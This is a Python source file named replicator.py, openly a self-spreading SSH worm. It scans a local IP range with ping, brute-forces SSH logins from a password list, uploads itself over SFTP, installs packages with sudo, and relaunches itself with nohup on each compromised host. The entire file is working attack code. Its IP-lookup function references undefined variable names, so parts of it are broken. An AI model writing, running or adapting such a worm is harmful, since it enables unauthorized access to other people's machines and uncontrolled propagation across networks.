replicator.py

#!/usr/bin/env python

import paramiko
import sys
import os
import netifaces
import subprocess 
import time
import logging

##################################################################
# Function that will ping all IP addresses within the given range and
# store all IP addresses that responded
# @return - A list of all responding IP addresses withing the range
##################################################################
def get_list_of_hosts():
	hostlist = []
	my_IP_address = get_current_IP_address('en0')
	FNULL = open(os.devnull, 'w')

	#Loop trough 10 different IP's and check if any one of them respons. 
	for ping in range(1,10): 
	    address = "192.168.2." + str(ping) 

	    #Don't ping my own IP
	    if(address != my_IP_address):
	    	#Do a ping and turn of output to console
	    	res = subprocess.call(['ping', '-c', '3', address],stdout=FNULL, stderr=subprocess.STDOUT) 
	    	if res == 0: 
	    		hostlist.append(address)
	return hostlist

##################################################################
# Function that will try to establish a ssh connection trying different combinations of usernames and passwords.
# If a connection is valid then it will call the UploadFileAndExecute function
##################################################################
def Attack_SSH(ipAddress) :
	logging.info("Attacking Host : %s " %ipAddress)
	ssh = paramiko.SSHClient()
	ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

	# For each username and password combination try to establish a connection. 
	for line in open("./passwords.txt", "r").readlines() :
		[username, password] = line.strip().split()

		try :
			logging.info("Trying with username: %s password: %s " % (username, password))
			ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
			ssh.connect(ipAddress, username=username, password=password)

		except paramiko.AuthenticationException:
			logging.info("Failed...")
			continue 
		
		logging.info("Success ... username: %s and passoword %s is VALID! " % (username, password))
		UploadFileAndExecute(ssh)
		break

##################################################################
# Open a SSH File Transfer Protocol, and transfer worm files to the reciving machine.
# Once all the files are uploaded, it will install the nessesary libraries and run the worm.
##################################################################
def UploadFileAndExecute(sshConnection) :
	print("Upload files to connection...")
	sftpClient = sshConnection.open_sftp()

	# Create folder to store worm files in
	stdin, stdout, stderr = sshConnection.exec_command("mkdir /tmp/worm") 
	stdout.channel.recv_exit_status() # Blocking call     
	logging.info("Created folder /tmp/worm")
   
	# Replicate worm files
	sftpClient.put("./replicator.py", "/tmp/worm/" + "./replicator.py")
	logging.info("Added replicator.py")

	sftpClient.put("./passwords.txt", "/tmp/worm/" +"./passwords.txt")
	logging.info("Added passwords.txt")

	logging.info("Installing python3-pip")
	# Install python pip
	stdin, stdout, stderr = sshConnection.exec_command("sudo apt -y install python3-pip")  
	stdout.channel.recv_exit_status() 
	logging.info("Finished installing python3-pip")
  
	
	# Install paramiko
	logging.info("Installing paramiko")
	stdin, stdout, stderr = sshConnection.exec_command("sudo apt-get -y install python-paramiko")  
	stdout.channel.recv_exit_status()   
	logging.info("Finished installing paramiko")

	# Install netifaces
	logging.info("Installing netifaces")
	stdin, stdout, stderr = sshConnection.exec_command("sudo apt-get -y install python-netifaces")  
	stdout.channel.recv_exit_status()   
	logging.info("Finished installing netifaces")

	stdin, stdout, stderr = sshConnection.exec_command("chmod a+x /tmp/worm/" +"replicator.py")  
	stdout.channel.recv_exit_status()   

	stdin, stdout, stderr = sshConnection.exec_command("nohup python /tmp/worm/" +"replicator.py passwords.txt"+ " &")  
	stdout.channel.recv_exit_status()   



##################################################################
# Function that retrives the IP address for the current machine.
# @ return - IP address 
##################################################################
def get_current_IP_address(interface):
        # Get all the network interfaces on the system
        network_interfaces = netifaces.interfaces()
        ip_Address = None

        # Loop through all the interfaces and get IP address
        for netFace in networkInterfaces:

            # The IP address of the interface
            try:
                addr = netifaces.ifaddresses(netFace)[2][0]['addr']
            except:
                continue

            if not addr == "127.0.0.1":
                ip_Address = addr
        return ipAddr



if __name__ == "__main__" :
	logging.basicConfig(filename='worm.log',level=logging.DEBUG)
	logging.getLogger("paramiko").setLevel(logging.WARNING)
	logging.info('Staring worm...')

	hostlist = get_list_of_hosts()
	list_string = str(hostlist)
	logging.info("Available hosts are: " + list_string)

	#Loop trough the list of all responding IP's and try to connect with ssh
	for host in hostlist:
		Attack_SSH(host)
	logging.info("Done")